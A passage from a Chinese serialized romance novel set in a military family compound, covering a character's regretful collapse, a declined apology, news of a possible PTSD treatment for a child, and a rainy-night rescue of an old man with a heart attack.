“至于幼稚,暂时也不需要改,你赤诚,热情,感情充沛,有正义感,等你遇到你的良缘,自然而然就成熟了。” 这一边周柒柒在安慰着雷鸣。 却没想到,一墙之隔外—— 雷鸣刚才每说一件,语气就沉痛一分,每一个字都像一把重锤,狠狠砸在周淑华的心上! 原来是这样! 原来火车上的钟情,只是侄子单方面的一见倾心! 原来雨中救人,是那样不顾自身安危的英勇壮举,自己却只看到了臆想中的“苟且”! 原来城里抓小偷送人,是纯粹的见义勇为和职责所在,与任何“勾引”无关! 原来周柒柒自始至终,清清白白!磊落光明! 尤其是听到周柒柒对雷鸣真诚的肯定和祝福,那毫无芥蒂的磊落胸怀,像一面最清晰的镜子,照出了她过去所有臆想的肮脏和不堪! “错了…全都错了…” 周淑华失神地喃喃自语,声音细若蚊蚋, “是我…是我瞎了眼…是我老糊涂啊…我…我怎么能…” 巨大的悔恨和羞愧如同滔天巨浪瞬间将她淹没。 她浑身不受控制地剧烈颤抖起来,变得惨白如纸,嘴唇哆嗦着,却再也发不出完整的声音。 一只手死死揪住胸口的病号服,仿佛那里有万钧重压,让她无法呼吸。 “师母?!” 沈淮川第一时间察觉到她的异样,惊呼出声。 然而已经晚了。 周淑华眼前猛地一黑,身体像被抽掉了所有骨头,捂着剧痛的心口,整个人软软地从轮椅上往下滑倒! 第232章 停职 这声急促的“师母”,自然也被露台上的周柒柒和雷鸣听见了。 两人循声望去,正看到周淑华软倒的身影。 两人脸色骤变,顾不上别的,赶紧冲了过去。 三人合力将周淑华抬起来,匆匆推着轮椅就往病房赶。 病房里,雷政委本来正在给舟舟削苹果吃,也被这突如其来的情况吓了一跳。 病房里顿时忙作一团。 医生、护士很快都被叫来,一番听诊、量血压、翻眼皮查看。 医生摘下听诊器,神色还算平静。 “血压偏高,心律有点快,是情绪过渡激动引起的。不过比上次送院时的情况好多了,最近治疗吃药,身子底子好了很多,让她静卧,缓缓神,就没事了。” 他环视一圈,“家属都别围太紧,让她透透气。” 雷鸣赶紧往后退了退,他搓着手,急切问道,“医生,那她怎么还没醒啊?看着怪吓人的。” 病床上,周淑华的眼皮轻轻地颤动了一下,呼吸也微微急促了一些,但依旧紧闭双眼。 医生是距离她最近的,敏锐地观察到了这细微地变化,但没拆穿,只安慰道。 “别急,让她休息会,你们下次要注意,别让她受刺激了,不然再发病,就没有上次那么好了,上次她之所以能恢复那么快,也是因为你们家属急救方式到位。” 说道这里,医生又多说了几句, “你们家属还挺专业的,又是凉水,又是点穴按摩的,争取了宝贵时间。对了,是那位家属给急救的?” 这话刚说完,病房里瞬间安静下来,气氛变得有些微妙。 半晌,周柒柒抿了抿唇,往前站了一小步,“是我。” 医生有些意外,打量着她,“哦?你学过医?” 周柒柒摇了摇头,“没学过,是我母亲以前给我父亲用的,他也有这个老毛病。” 医生处于本能,接了一句:“你家也有类似的病人?那可得记得按时到医院来检查一下,不然...” “不用了医生,” 周柒柒轻声打断了她,“他...已经去世好些年了。” 医生愣了一下,连忙道,“啊...这样,抱歉,节哀。” 她略显局促地说了几句,就带着护士匆匆离开了病房。 一时间,病房内的气氛变得有些压抑。 周柒柒楼主身边的舟舟,“淮川,时间不早了,也该吃午饭了,我们带舟舟回去吧。” 沈淮川心领神会,对着雷政委和雷鸣微微颔首,算是打过招呼,转身带着周柒柒走了。 病房门轻轻合上。 直到脚步声彻底消失在走廊尽头,病床上,周淑华紧闭的眼角,才缓缓渗出一行滚烫的泪水,顺着鬓角无声地滑落,打湿了枕套。 过了许久,她才轻声开口,“老雷...” 雷政委一直坐在床边,粗糙的大手紧紧包裹着妻子冰凉的手,闻言立刻附身凑近。 “我在,淑华,感觉怎么样?” 周淑华缓缓摇了摇头, “等你我出院了,你陪我去周柒柒家,我亲自给她赔礼道歉。” “好,我陪你去。” 雷政委用力握紧妻子的手, “反正我现在停职了,时间多的很,你好好养好身体,等你好了,咱们一起去。” “什么?停职?” 不远处的国营饭店里,正是饭点,人声嘈杂。 周柒柒和沈淮川已经点好了菜,等着上菜的间隙,沈淮川也把案子情况跟周柒柒说了。 她握着汽水瓶的手一顿,猛地抬头看向沈淮川,脸上写满了震惊。 “你是说雷政委?他也被停职了?” 她刚才在病房就觉得气氛不对,但没想到这么严重。 沈淮川点了点头,面色沉重,声音压得更低。 “嗯,停职了,组织上正在调查,师母最终的处分不轻,开除党籍是肯定的,她以前那些荣誉、功勋,怕是也保不住了,都要收回。师父身为她的丈夫,责任也很大,他自己主动申请了停职,说是希望能保住师母当教授时候的那些荣誉。” 他叹了口气,带点惋惜。 “可是他这么做,就等于他基本到头了,组织上可能会找个合适的由头,让他提前退下来,算是...体面点。” 周柒柒听得心头沉重。 虽然对周淑华有怨吗,但雷政委...确实是被牵连了。 一个为部队奉献了大半辈子的人,晚年竟然以这种方式落幕,实在令人唏嘘。 不过另外一方面,她也有点佩服雷政委,居然可以为了周淑华那些荣誉,牺牲到这个程度。 她沉默地喝了一口汽水,忽然又想起。 “那...林瑶和许树、许枣呢?他们怎么处理的?” 沈淮川眼神冷了几分。 “两人现在都在看守所里,不过林瑶怀孕了,给了特殊关照,现在查到她是主谋,林小惠那边都是她主动联系的,将来可能会判劳教吧,至于许树,是从犯,应该会坐几个月牢,许枣现在也在里面,到时候估计会发回原籍。” “主犯……” 周柒柒喃喃重复着这两个字,心里五味杂陈。 林瑶为了许树那样一个男人,把自己活生生作践到这个地步,赔上前程甚至自由,真是……太不值当了。 她甩甩头,像是要把这些糟心事都甩出去,脸上努力挤出点笑意,话锋一转,带着点小得意: “算了,不说他们了,晦气!今天还有个顶顶高兴的事儿呢!” 这会儿菜已经送上来了。 沈淮川正夹起一筷子溜肝尖准备放进周柒柒碗里,闻言筷子停在半空,抬眼看她: “高兴事儿?什么事?” 他语气平稳,眼神里带着询问。 周柒柒神秘地眨眨眼,压低声音: “现在不能说。待会儿回家再告诉你!反正是特别特别好的消息!” 她本意是想吊吊沈淮川的胃口,看他着急的样子。 结果沈淮川只是“嗯”了一声,淡定地把肝尖放进她碗里,“行,那待会儿再说。” 周柒柒看她一点也不好奇,哼了一声,“那不待会儿了,晚上再告诉你!” 她在心里默默补充了一句,急死你... 然而,沈淮川只是淡定的点了点头,“好。” 他这样,倒让周柒柒心里直痒痒,好几次想开口,瞥见沈淮川那副泰山崩于前而色不变的样子,又硬生生憋了回去。 吃完饭,一家人刚走到家门口,就看见姜向阳像个小炮弹似的冲过来: “舟舟!舟舟!快来看,我叠了个纸船,能在水盆里跑!” 舟舟眼睛一亮,征得了周柒柒的同意,就跟着向阳跑了。 打发走了孩子,周柒柒终于忍不住了。 她一把拉住沈淮川,杏眼圆睁,带着点娇嗔: “喂!沈淮川同志!你就真的一点都不好奇?憋了一路了!你就不问问到底是什么好消息?” 沈淮川脸上带着一抹笑意, “好奇什么?你说晚上说,那就晚上说。军人,令行禁止。” 他眼神温和,说得真跟那么回事儿似的,但周柒柒牙根痒痒,总感觉这臭男人是故意的。 “你!” 周柒柒气结,跺了下脚,“行!你不好奇是吧?那我还不告诉你了呢!” 她作势要往屋里走。 进了屋,周柒柒把包往桌上一放,自己倒了杯水咕咚咕咚灌下去,试图压下那股憋得慌的感觉。 可一回头,看见沈淮川已经拿起桌上的报纸,准备翻看了,那份淡定彻底击溃了她。 “哎呀!沈淮川!” 她几步冲过去,一把抽走他手里的报纸,自己先憋不住笑了出来,脸颊微红, “你这人……真是的!一点都不好玩!好啦好啦,告诉你!憋死我了!” 她拉着沈淮川在桌边坐下,眼睛里闪着兴奋的光,迫不及待地把翟老爷子的话,关于那个“PTSD”,关于国外大孙女正在研究这个病,以及老爷子答应帮忙联系询问治疗方向的事情,竹筒倒豆子般一股脑儿全说了出来。 “真的?!” 饶是沈淮川再沉稳,听到这个消息,眼睛也瞬间亮了起来。 他猛地站起身,脸上是抑制不住的激动和狂喜,一把抓住周柒柒的手,力道大得让她微微吃痛, “翟老真这么说?他大孙女真在研究这个?舟舟……舟舟真的有希望了?” “嗯!千真万确!” 周柒柒用力点头,被他感染得眼眶也有些发热, “老爷子亲口说的,他大孙女在信里提过这个病名,症状都对得上!他答应马上联系!” 沈淮川激动得在屋里踱了两步,胸膛起伏着,那份属于军人的冷静自持此刻被巨大的希望冲击得荡然无存。 他深吸一口气,努力平复情绪,但眼里的光却亮得惊人: “太好了!这真是……天大的好消息!” “不过,” 周柒柒连忙给他降温,拉着他重新坐下, “你也别高兴得太早。老爷子说了,人在国外,估计没个大半个月,很难有准信儿。而且,也只是问问,不一定就有什么好法子。” “我明白!我明白!” 沈淮川连连点头,声音带着不易察觉的微颤,“有希望就好!” “柒柒!” 他声音带着不易察觉的微颤, “谢谢你!真的谢谢你!媳妇儿,你真是我们家的福星!” 话音未落,他竟一个弯腰,双手穿过周柒柒腋下,稍一用力,直接将她整个人稳稳地抱离了地面,高高地举了起来! “哎呀!沈淮川你干什么!快放我下来!” 周柒柒猝不及防,双脚离地,吓得低呼一声,双手下意识地扶住他宽厚的肩膀,脸颊瞬间飞红。 沈淮川小心地将她放回地面,手臂却依旧环着她的腰。 周柒柒轻轻推了他一下,嗔道: “这可不是我的功劳!是咱们舟舟自己心善!是她无意间救下了翟老爷子,才结下的善缘。” 沈淮川却执拗地摇头,目光灼灼: “不,你们俩都是!你们俩降落到我沈家,就是我沈淮川,是咱们这个家,最大的幸运!” 他越说越动情,看着周柒柒在灯光下格外柔和的眉眼和微红的脸颊,忍不住低头,就想吻下去。 周柒柒心跳加速,感受到他温热的呼吸靠近,连忙偏开头,用手抵住他坚实的胸膛,声音带着一丝娇嗔和急切: “哎!别闹!还有正事要做呢!翟老那边还等着咱们把舟舟的情况写下来,好让他早点转交过去!” 沈淮川顺从地松开了些力道,却并未完全退开,反而凑到她小巧的耳垂边,用只有两人能听到的气声低语: “行,听媳妇儿的,先办正事……那……晚上再好好谢你。” 温热的呼吸拂过耳廓,周柒柒的耳朵尖瞬间红透了。 她嗔怪地瞪了他一眼,用力将他推开一点:“没正形!快写!” 沈淮川低笑出声,这才彻底松开她。 坐回到书桌前,铺平信纸,拿起桌上的钢笔,郑重地拔开笔帽,深吸一口气,神情恢复了几分军人的专注与严谨: “好,你说,我记。一字一句,都写清楚。” 沙沙的书写声在安静的屋子里显得格外清晰。 这一写,就写了整整一个下午,写完的时候,窗外的天色已经有点暗了下来。 周柒柒赶紧去做饭了,沈淮川则是直接开车去军区医院把信送给了翟老爷子。 信送出去还没等到回应呢。 但却等到了周淑华出院。 这天傍晚,下着小雨,周柒柒也就没有和朱莹莹她们出去跑步,正专心坐在缝纫机前改舞蹈服呢。 院门就被敲响了。 第233章 希望你能原谅我 外头下着小雨,屋里缝纫机的“哒哒”声响的欢快。 周柒柒低着头,手指灵巧地压着布料,脚下踩个不停。 沈淮川坐在一旁的书桌前,手里翻着文件,是不是抬眼看看。 “这舞蹈服还没弄好吗?” 沈淮川放下手里的东西,眼神落在周柒柒身上。 周柒柒手上动作没停,嘴角弯了起来。 “差不多啦,市文工团那边已经定稿了,我这不想着精益求精吗?再完善一些细节。” 她说着,也转向沈淮川那边,“你呢,你的年终报告写得怎么样了?” 沈淮川看了一看自己面前摊开的稿纸,“差不多了,反正年年都差不多,总结成绩,分析不足,展望未来。” 周柒柒听他这么一说,想起什么,抬眼笑道: “今天翠香姐过来的时候,还问我呢,看能不能把你写好的报告给姜大哥瞅瞅,参考参考,她说姜大哥为了这玩意儿,一晚上抽了小半包烟,纸上就憋出两行字儿!” 沈淮川浓眉一挑,嘴角勾起一丝笑意: “行啊,回头我亲自去给他‘参考’,把我怎么在野外驻训把他撂倒的事儿,好好跟他掰扯掰扯,讲详细点,保管他灵感泉涌,刷刷刷就写完了!” “你呀你!” 周柒柒嗔怪地瞪了他一眼,可眼神里却满是甜蜜的笑意。 她当然记得那次驻训,沈淮川拼了命拿第一,就为了给她打那一个珍贵的电话。 暖黄的灯光笼罩着两人,外头的雨声更大了,但屋子里却弥漫着温情的暖意。 咚咚咚——! 就在这时,一阵沉重的敲门声忽然响了起来,打破了屋里的宁静。 “谁啊?这大雨天的怎么跑过来了?” 周柒柒心里有点纳闷。 沈淮川起身,“我去看看。” 周柒柒跟着走到堂屋门口,沈淮川回头道,“你憋出来了,外头雨大。” “谁说我要出去了,” 周柒柒努了努下巴,“我是提醒你打伞,诺,就在门边挂着呢。” 沈淮川刚才显然是想冒雨冲出去,这下被抓了个正着,只好乖乖撑起那把油纸伞,快步穿过被雨水打得湿亮的小院去开院门。 门一开,昏黄的路灯下,站着两个在雨幕中打着一柄伞,有些狼狈的身影——竟然是周淑华和雷政委! 沈淮川一愣,有些意外,“师父,师母,你们怎么来了?快,先进来!” 雨势骤然加大,豆大的雨点噼啪砸在伞面上,伴着远处的闷雷。 周柒柒就站在屋门口,隔着雨帘也看清了来人。 周淑华没了往日的讲究,穿着一身灰扑扑的衣裳,脸色苍白,嘴唇都没什么血色。 旁边的雷政委手里拎满了东西,网兜里隐约可见印着外文的麦乳精铁罐、包装精致的点心盒子,还有一网兜红苹果。 周淑华的眼神躲躲闪闪的,有愧疚,有紧张,还有一丝强撑着的、不愿彻底垮掉的体面。 雷政委站在她身边,腰板挺着,却透着股说不出的拘谨。 周柒柒自然知道他们是来做什么的。 她脸上没什么波澜,平静地侧身让开堂屋门,“进来吧。” 沈淮川把人让进屋,收了滴水的伞。 周柒柒招呼她去倒水,自己则是转身去了舟舟屋子,带上她的门,嘱咐她早点休息。 嘱咐完,她就转身从餐桌上拿了几个苹果,准备拿去厨房切了待客。 “不用忙活,柒柒...” 周淑华的声音干涩发紧,那声“柒柒”叫得格外艰难。 她没坐稳,反而撑着膝盖站了起来,对着周柒柒,猛地弯下腰,深深鞠了一躬。 “我...我和老雷,今天是专门...专门来给你道歉的!” 雷政委也跟着微微欠身,神情沉重。 周柒柒把手里的苹果递给了端着水进来的沈淮川,眼神示意他去切,自己则是坐在了沙发上,朝着周淑华摆了摆手。 “坐下说吧。” 说完,她的目光便平静地落在桌面上,不再看她的脸。 周淑华知道她的性子,依言坐下,却如坐针毡,在沙发上挪动了半晌,才勉强坐定。 她深吸一口气,艰难开口: “之前的事,是我老糊涂,是我瞎了眼,偏听偏信,被林瑶他们蒙蔽...我对不起你,对不起淮川,更对不起组织的信任...” 她喘了口气,声音更低,带着点难堪的颤抖。 “我...我那时总觉得你配不上淮川,觉得你太...太张扬,不像个本分的军属,再加上雷鸣那孩子对你...总之,我就像是被猪油蒙了心...” 她越说越没底气,最后几乎是囫囵吞枣般地收尾: “柒柒,真的对不起,希望...希望...希望你能原谅我。” 她说完,就低下了头,等着周柒柒的回应。 然而,周柒柒一直没说话,只是一直低着头,屋子里静得吓人,只有窗外淅淅沥沥的雨声。 沈淮川端着切好的苹果进来,轻轻放在桌上,也沉默地站在周柒柒身边。 周淑华感觉每一秒都无比漫长难熬,但她还是鼓起最后的勇气,声音带着哀求。 “柒柒,我知道光说对不起没用,你看...这些东西,” 她指了指桌上那堆价值不菲的礼物, “不光是这些...以后你有啥难处,尽管开口,我和老雷不管能帮的不能帮的,都会想办法帮!” 等她说完,周柒柒终于缓缓抬起了头,目光平静地落在她脸上。 这一眼,看得周淑华心头发慌,指尖冰凉。 “周同志。” 她终于开了口,但语气平淡,像是在陈述一件与己无关的事, “您今天说了这么多,我都听见了,也看到了您的歉意。” 听到这话,周淑华紧绷的肩膀猛地一松,和雷政委飞快地对视一眼,以为周柒柒是打算原谅她了。 却没想到,周柒柒的下一句话,却像是一盆凉水,浇的他们透心凉: “但是抱歉,我无法,也不打算原谅您。” 周柒柒的目光越过周淑华惨白的脸,投向门外被雨水冲刷的世界。 她仿佛看到了刚来家属院时那些莫名飞来的白眼; 看到了周淑华在背后一次次审视挑剔的眼神; 更清晰地看到了那间冰冷压抑的会议室——那铺天盖地的诬告,那些像刀子一样审视、鄙夷的目光! 差一点,只差一点! 她就要被那盆脏水彻底泼垮! 就算最后洗清了,那污水溅起的腥臊味,也足以让人在背后指指点点好久。 这哪里是一句轻飘飘的“对不起”就能揭过去的?! 她缓缓收回目光,重新落在周淑华惨白的脸上,语气依旧没有什么波澜,但却带着一种斩钉截铁的决绝: “原谅,意味着放下,意味着心里的疙瘩解开,还能重新相信,可我对您的信任,” 她顿了顿,声音更沉了几分, “在那间会议室,就已经彻底粉碎,再也捡不起来了。” “可...可那天在会议室,你明明救了我!你完全可以袖手旁观的!” 说起会议室,周淑华又激动了起来,声音带着哭腔,“我以为你...” “救您,” 周柒柒打断她,回答得干脆利落,不带一丝犹豫, “是出于人性的本能,换做任何一个人倒在我面前,只要我能救,我都会救。跟她是谁,没关系。” 她把这最后一点“恩情”的牵扯,也利落地斩断了。 周淑华最后的希望彻底崩塌了,身体晃了晃,被雷政委一把扶住。 她嘴唇哆嗦着,眼神还有一丝不甘, “那...我们和淮川,这十年的情分,难道就这么...就这么...” 她说不下去了,巨大的失落和悔恨让她眼前发黑。 “您误会了。” 周柒柒平静地接了话,姿态摆得清清楚楚,界限也划得明明白白, “您和雷政委,是淮川的师父师母,这份情分,是淮川和你们之间的事,他往后怎么走动,怎么维系,是他的自由,我绝不干涉。” 她目光转向沈淮川,带着全然的信任。 “我也绝不会拦着淮川和舟舟去看望雷政委和您,这点,我周柒柒说到做到。” 她微微抬高了声音,“只是,从今往后,您和我,就是陌生人罢了。” 空气仿佛凝固了,只剩下窗外越来越大的雨声。 周淑华像是被抽干了所有力气,全靠雷政委在身边扶着才没瘫下去。 一直沉默的雷政委,看着妻子瞬间垮掉的样子,目光沉重地转向沈淮川,带着最后一丝询问,也带着深深的无力: “淮川…这件事,你怎么想?” 沈淮川上前一步,手臂自然而然地拦住了周柒柒的肩膀,将她往自己身边带了带。 他看着师父,眼神坦荡又坚决: “师父,师母,你们是我一辈子的亲人,这份感情不会变,我待你们还会像从前一样,但是...” 他紧了紧揽着周柒柒的手臂, “这件事,柒柒是最大的苦主,她受的委屈,我比谁都清楚,她是我的爱人,她的决定,就是我的决定,我尊重她的一切想法!” 这话,彻底堵死了任何转圜的可能。 雷政委深深地、无力地叹了口气,他扶着周淑华,声音有些疲惫。 “那就这样吧...淑华,我们走。” 周柒柒碰了碰沈淮川的胳膊,眼神示意了一下桌上那堆扎眼的礼物。 沈淮川立刻会意,松开周柒柒,走过去毫不犹豫地提起那沉甸甸的网兜和点心盒子, “师父,天晚了,雨大路滑,我送你们回去。” 雷政委看着被塞回来的东西,最终只是沉重地点了点头,没再推辞。 沈淮川重新撑开伞,一手提着东西,一手护着雷政委,半扶半架着失魂落魄、脚步踉跄的周淑华,走进了门外哗哗作响的滂沱雨幕里。 昏黄的灯光下,三个人的影子在湿漉漉的地面上拖得很长,很快就被密集的雨点打得模糊不清。 周柒柒站在堂屋门口,看着那一团身影,忽然感觉胸口一阵刺痛。 她也不知道这刺痛打哪儿来的。 只能强行晃了晃脑袋,把门关上,不让自己去想那么乱七八糟的事,躺回了床上。 第234章 快!救人! 沈淮川把人送到对方的家门口,就回来了,在客厅没瞧见周柒柒。 他脱下湿了大半的外套,擦了擦汗头发进了屋。 一眼就瞧见周柒柒侧躺在床上,面朝里,背影瞧着有些单薄。 “柒柒?” 他快步走到床边,蹲下身,声音带着急切,“怎么了?不舒服?是不是着凉了?” 说着就伸手想探她的额头。 周柒柒摇了摇头,拉住他的手,声音有些闷, “没有不舒服,就是感觉一下子有太多情绪了,心里有点堵得慌。” 她顿了顿,抬眼看他,声音带着一丝不确定, “淮川,我刚才...是不是太绝情了?没有跟你商量,就那样决定了...” 沈淮川的心一下子就软了,他顺势坐在床边,将她揽在怀里。 下巴抵着她的发顶,声音低沉,却无比坚定。 “傻话,刚才我在外面就说了,你是我的爱人,你的决定就是我的决定,我尊重你的一切想法,那不是一句空话。” 他收紧了手臂,像是哄小孩一样轻轻拍了拍她,“别多想,咱们家,你说了算。” 周柒柒紧绷的身体在他怀里慢慢放松下来。 她把脸埋进他带着点雨水味道的衣襟里,听着他沉稳的心跳。 不知道为什么,听到他说她是他的爱人后,一种前所未有的踏实感包裹了她,刚才心头那点莫名的刺痛也消失了。 然而同一片雨幕下,雷政委家的气氛却截然不同。 刚才送两个人回来的沈淮,沈淮川虽然尽力给他们撑伞了,但于是太大,又有风吹着,周淑华和雷政委还是淋湿了大半。 两人走回家门,水顺着裤脚滴在地板上,头发都贴在额头上了,脸色一个比一个难看。 尤其是周淑华,嘴唇泛着青紫,眼神也有些空洞。 客厅里,雷鸣和两人的小女儿雷玉华正焦急地等待着。 门一看,看到两人这副样子,他们都吓了一大跳,赶紧迎了上去。 “爸!妈!怎么淋成这样?快擦擦!” 雷玉华赶紧拿来毛巾,雷鸣则是把外头一堆东西运了回来。 雷政委重重叹了一口气,“别提了,柒柒她...没原谅你妈。” 他简单地把周柒柒的话复述了一遍,尤其是那句“从今以后,您和我,就是陌生人罢了。” “什么?!” 雷玉华的声音陡然拔高, “她怎么能这样?!妈一出院就惦记这事儿,拉着我跑遍百货大楼买这些好东西!” 她指着桌上那些被沈淮川原封不动送回来的、沾着雨水的进口麦乳精和高级点心盒子, “道歉的稿子,妈在家写了撕,撕了写,练了多少遍!够低声下气了吧?她周柒柒凭什么不原谅?!妈好歹是沈大哥的师母!看她把妈气成什么样了!” “玉华!你闭嘴!” 周淑华猛地抬起头,声音嘶哑,却异常严厉, “是我做错了!天大的错!人家不原谅我,是人家的事!轮不着你在这指手画脚!” 她情绪激动,胸口一阵熟悉的绞痛猛地袭来,让她瞬间弓起了腰,脸色煞白,大口喘着气。 “婶婶!” 雷鸣脸色一变,立刻冲进里屋拿药。 客厅里一阵慌乱,雷玉华也吓得噤了声,帮着父亲把母亲搀扶到沙发上坐下。 雷鸣手忙脚乱地倒水喂药,折腾了好一会儿,周淑华的呼吸才渐渐平复,但整个人虚弱地靠在沙发里,闭着眼,眼角有泪痕。 雷玉华看着母亲这副样子,又心疼又不忿,忍不住小声嘟囔: “她有什么了不起的……不就是仗着沈大哥宠着吗?花钱大手大脚,脾气还这么大……新时代的女性就该自力更生,我看她就是个米虫……” “雷玉华!” 雷政委猛地一拍茶几,声音严厉得吓人, “你还有完没完!别人家怎么过日子,花谁的钱,那是人家的事!轮得到你在这嚼舌根?我看你是对别人口袋里的钱太有‘占有欲’了!再胡说八道就给我回你自己家去!” 雷玉华被父亲吼得一哆嗦,看到母亲紧闭双眼痛苦的样子,终究是没敢再顶嘴。 只不甘心地撇了撇嘴,把后面更难听的话咽了回去,小声咕哝:“……本来就是嘛。” 她最瞧不起这种没本事,只能靠男人生活着,还脾气还贼大,仗着自家男人作威作福的女人了。 雷政委看着妻子和女儿,只觉得心力交瘁。 他摆摆手,声音缓和了些: “行了,都少说两句。玉华,雷鸣,这段时间在医院陪着,都辛苦了。明天你们就都回去吧,该上班上班,这儿有我陪着。” 雷玉华看着母亲失魂落魄、毫无生气的样子,心里也难受。 她犹豫了一下,把父亲拉到一边,开口道: “爸,妈这样老闷在家里也不是个事儿。她以前在妇女岗位也是风风火火的,这一下子……心里落差太大。这样吧,明天我要去市文工团,跟进年底汇报演出的服装统筹,事儿挺多挺杂的。要不让妈跟我一起去?就当散散心,帮我搭把手也行。忙起来,兴许就没空想那些堵心事了。” 雷政委想了想,妻子年轻时的确是个闲不住的“拼命三娘”。 自从不能当妇女主任之后,确实一直在家闷闷不乐的。 他点点头:“嗯……也好。出去走走,接触点新东西,总比在家憋着强。” 他随即严厉地看向雷玉华, “但是玉华,你给我记着!带你妈出去是散心帮忙,不是让你去嚼柒柒舌根的!要是让我知道你再在你妈面前说三道四,挑拨离间,看我怎么收拾你!” 雷玉华赶紧保证: “爸!您放心!我保证!我保证在妈面前,绝口不提周柒柒这三个字!” 她心里也明白,现在最重要的是让母亲从打击中走出来,别再雪上加霜了。 窗外的雨还在下,敲打着玻璃,发出沉闷的声响。 雷鸣跟雷政委打了声招呼,说怕明早赶不及去城里报道,得连夜开车回宿舍。 雷政委知道侄子是个又责任心的,叮嘱了句“开车当心点”,也就由他去了。 雨点子噼里啪啦砸在地上,溅起老高的水花。 雷鸣发动吉普车,车灯的光柱刺破沉沉的雨幕,照着泥泞湿滑的路。 这条路他跑熟了,两边黑黢黢的,除了林子还是林子,唯一显眼的就是半道上那个孤零零的林场看守小屋。 每次路过,他都会下意识地松点油门,这次也不例外。 车灯晃过去,昏黄的光圈里猛地照出个人影!就在那小屋门口! 雷鸣心头一紧,脚下条件反射地猛踩刹车。 隔着被雨水糊满的车窗,雷鸣眯起眼。 只见小屋门口,一个浑身湿透、像只落汤鸡似的单薄人影,正抡着一把斧头,一下又一下,拼命地砸那紧闭的木门! “哐!哐!哐!” 那声音在雨夜里格外瘆人。 门窗紧闭,里面啥情况也看不清。 “搞破坏?偷东西?” 雷鸣的警察神经瞬间绷紧。 他一把推开车门,雨水兜头浇下,也顾不上了,厉声吼道: “住手!干什么的?!警察!放下手里的东西!” 凑近些雷鸣才看清楚,这是个姑娘,雨水把她额前的刘海糊成一绺一绺贴在圆脸上,看着狼狈不堪。 雷鸣这样吼,那姑娘跟没听见似的,或者说听见了更急,手上的斧头抡得更狠了,门板上的木屑飞溅,嘴里还带着哭腔似的念叨: “开门啊!快开门啊!” 雷鸣急了,几步冲上去,伸手就要去夺她手里的斧头:“不许动!说你呢!放下…” 他这一抓一拦,那姑娘正使着全身力气往下劈,被外力猛地一带,脚下泥水一滑,整个人顿时失了重心。 “哎呀!”一声惊叫,手里的斧头“咣当”脱了手,朝着她自己脚边就砸了下去! 雷鸣眼疾脚快,一脚把那掉落的斧头踢开,没伤着人。 那姑娘自己则向后猛跳,结果脚下一绊,“噗通”一屁股摔进了旁边的泥水坑里,溅了一身一脸的泥浆子,辫子都散了,狼狈得像只小花猫。 她挣扎着从泥水里爬起来,顾不上擦脸,圆脸上又是泥水又是雨水,急得眼睛都红了,冲着雷鸣就用尽了力气带着哭音吼: “你…你瞎啊!?我在救人!里面…里面有个老爷爷!快不行了!!!” 她一边吼,一边急得直跺脚,手指拼命指着门缝,那眼神里的焦急和委屈,纯粹得像个被冤枉了的孩子。 雷鸣被她这又急又气的模样吼得一愣,顺着她指的方向,透过刚才被她劈砍出缝隙的门板往里看—— 借着屋里那点微弱的光线,他真真切切地看见,地上倒着个人!蜷缩着,一动不动! 嗡的一下,雷鸣只觉得一股热血直冲头顶,脸皮火辣辣地烧起来! 坏了!是他误会了! “快!救人!” 雷鸣再不敢有半分迟疑,吼声比刚才更响。 他几步冲上去,也顾不上什么了,用肩膀猛力一撞那本就摇摇欲坠的门锁, “哐啷”一声,门被撞开了! 他比那女子还快一步冲进小屋。 那圆脸姑娘紧跟着扑进来,泥水都没来得及擦,直接跪倒在老人身边,声音都带着颤: “老爷爷!老爷爷你醒醒!” 她伸手就去探颈摸脉,动作飞快地从背上那个湿透了的大包袱里掏摸出一个小药瓶,手忙脚乱地倒出几粒药。 看到雷鸣还在旁边,急得直嚷嚷: “愣着干嘛!快帮忙啊!用力!按这里!对,就这!使劲!快一点!别停!” 她指着老人胸口的位置,见雷鸣手法生疏,急得直催: “哎呀!捏住他鼻子!对!抬下巴!吹气!用点劲!你没吃饭吗?!” 雷鸣被她这连珠炮似的指挥加埋怨弄得有点懵,但此刻心里头只剩下一个念头:听她的!救人! 他咬着牙,使出吃奶的力气,按照这急吼吼的小丫头的指令,按压、吹气,不敢有丝毫懈怠。 忙活了半天,老人喉咙里终于发出一声微弱的呻吟,胸口有了起伏,但人还是痛苦地蜷着,脸色灰败。 “不行!这不行!得赶紧送医院!” 姑娘声音都急得带了哭音,圆脸煞白。 “我的车就在外面!送军区医院!” 雷鸣二话不说,小心翼翼地抱起老人。 老人很轻,骨头硌手,姑娘小心翼翼在后头扶着。 雷鸣把老人安顿在吉普车后座,姑娘立刻钻进去,也顾不上自己一身泥水,紧紧护着老人。 雷鸣又冒雨冲回小屋门口,把姑娘丢在泥水里的行李卷一股脑捡起来,塞进了后备箱——那包袱死沉,也不知道这小身板儿怎么背动的。 跳上驾驶座,雷鸣抹了把脸上的雨水和汗水,一脚油门轰到底。 第235章 没什么不好的 雷鸣开车的速度很快,一脚油门下去,吉普车像一头挣脱束缚的野兽,很快就咆哮着冲进军区医院内。 车还没停稳,副驾驶的门就被猛地推开,姑娘就急急跳了下来,她不管不顾,冲着亮灯的急诊大门就喊,声音又脆又急: “医生!快!心脏病!老人!快不行了!” 她边喊边跟着冲出来的医护人员往里跑,语速快得像机关枪:“男性,七十岁左右......” 她一口气报完,条理分明。 昏黄的廊灯打在她湿漉漉的圆脸上,泥点子还糊着,但那专注的神情和利落的话语,莫名有种让人安心的力量。 雷鸣想帮忙,却发现自己完全插不上手,只能傻傻地跟在姑娘身后。 很快,老人就被推进了急救室。 “快!推那个除颤仪过来!” 一个医生扭头急喊,见其他人都在忙着,姑娘赶紧去推仪器,但仪器不知道是卡了还是怎么了,怎么都推不动。 雷鸣赶紧上前帮忙,使出全身力气猛地一推。 轮子滚得太快太急,方向没控好,“哐当”一下,沉重的金属底座不偏不倚,狠狠碾过了旁边姑娘的脚背。 “嘶——嗷!” 姑娘痛得猛吸一口冷气,整个人都跳了一下,龇牙咧嘴,眼泪花瞬间就冒了出来。 雷鸣吓得魂飞魄散,脸都白了:“对、对不起!我我我不是故意的!” 这时,里面的护士把除颤仪拉走了。 他看着姑娘抱着脚背疼得直抽气的样子,又是心疼又是愧疚, “伤着没?我看看!我送你去处理!” 抢救室的门已经关上,外面暂时没他们的事了。 急诊室的护士正忙得头也不抬: “你等一下,我忙完手里这点东西就帮你上药。” “我没事儿,护士姐你先忙!” 姑娘疼得吸着气,摆摆手。 雷鸣看着她又红又肿的脚背,急得像热锅上的蚂蚁: “那……那怎么行!要不……要不我帮你先擦点药?行吗?” 姑娘抬眼瞅他,圆脸上满是嫌弃: 